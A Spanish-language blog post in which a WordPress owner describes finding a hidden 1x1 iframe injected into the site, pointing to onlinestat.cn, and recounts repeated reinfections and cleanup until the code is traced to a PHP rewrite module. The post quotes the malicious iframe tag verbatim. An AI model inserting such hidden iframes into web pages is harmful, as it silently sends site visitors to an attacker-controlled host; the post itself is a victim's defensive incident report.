Este lunes me percaté de que el Blog tenía algún problema, concretamente, tardaba mucho en cargar e incluso a veces provocaba el cierre de mi explorador Firefox 3.0. Me di cuenta de que al entrar a mi Blog Firefox se ponía a realizar peticiones a la página de MSN y tras revisar si era mi PC, mi versión de Firefox, algún complemento o el último plugin que instalé hace poco mas de una semana, conseguí encontrar un iframe bastante bien oculto al final del body:

<iframe src='http://onlinestat.cn/cgi-bin/index.cgi?qwopl'
width='1' height='1' style='visibility: hidden;'>

Buscando por Google me encuentro con que Anieto ya se encontró un problema parecido hace unos meses, aunque tras leer por los foros de ayuda de wordpress veo que el problema era distinto (el iframe se escondía en un trozo de código diferente).

Parece ser que últimamente está de moda la inyección de código en las webs ajenas, sobretodo por temas de Blak Hat SEO, aunque en mi caso, teniendo en cuenta que está haciendo peticiones a la web de MSN mas bien parece un intento de tumbarle la página a Microsoft (seguimos con los infantilismos…).

Sigo investigando el suceso, ya que hasta el momento no conozco dónde se encuentra esa puerta abierta y de poco me serviría buscar por la BD dónde han insertado eso, pero cuelgo esto aquí para avisar a quienes tengan un Blog en wordpress y para ver si alguien sabe cuál es la solución.

Actualización: De momento he conseguido quitar el iframe “reinstalando” Wordpress (básicamente he subido la versión que tengo en mi PC local al servidor y tras sobreescribir todos los archivos parece que he limpiado el hack).

No obstante, la puerta sigue abierta…

Actualización 2: Siguen metiéndome el iframe, esta vez lo han colocado en la cabecera editando el header.php del template, y no tardan mucho en darse cuenta y reponerlo… tendré que hacer un análisis más profundo por si algún plugin hizo de “troyano” y ha abierto alguna puerta o si actualizando a la nueva versión se arregla el problema.

Actualización 3: Encontré el código en un módulo externo a wordpress pero necesario para mi blog, el módulo en php que hace el rewrite de las páginas, tras limpiarlo he reinstalado todo y cambiado permisos y contraseñas y de momento la cosa funciona…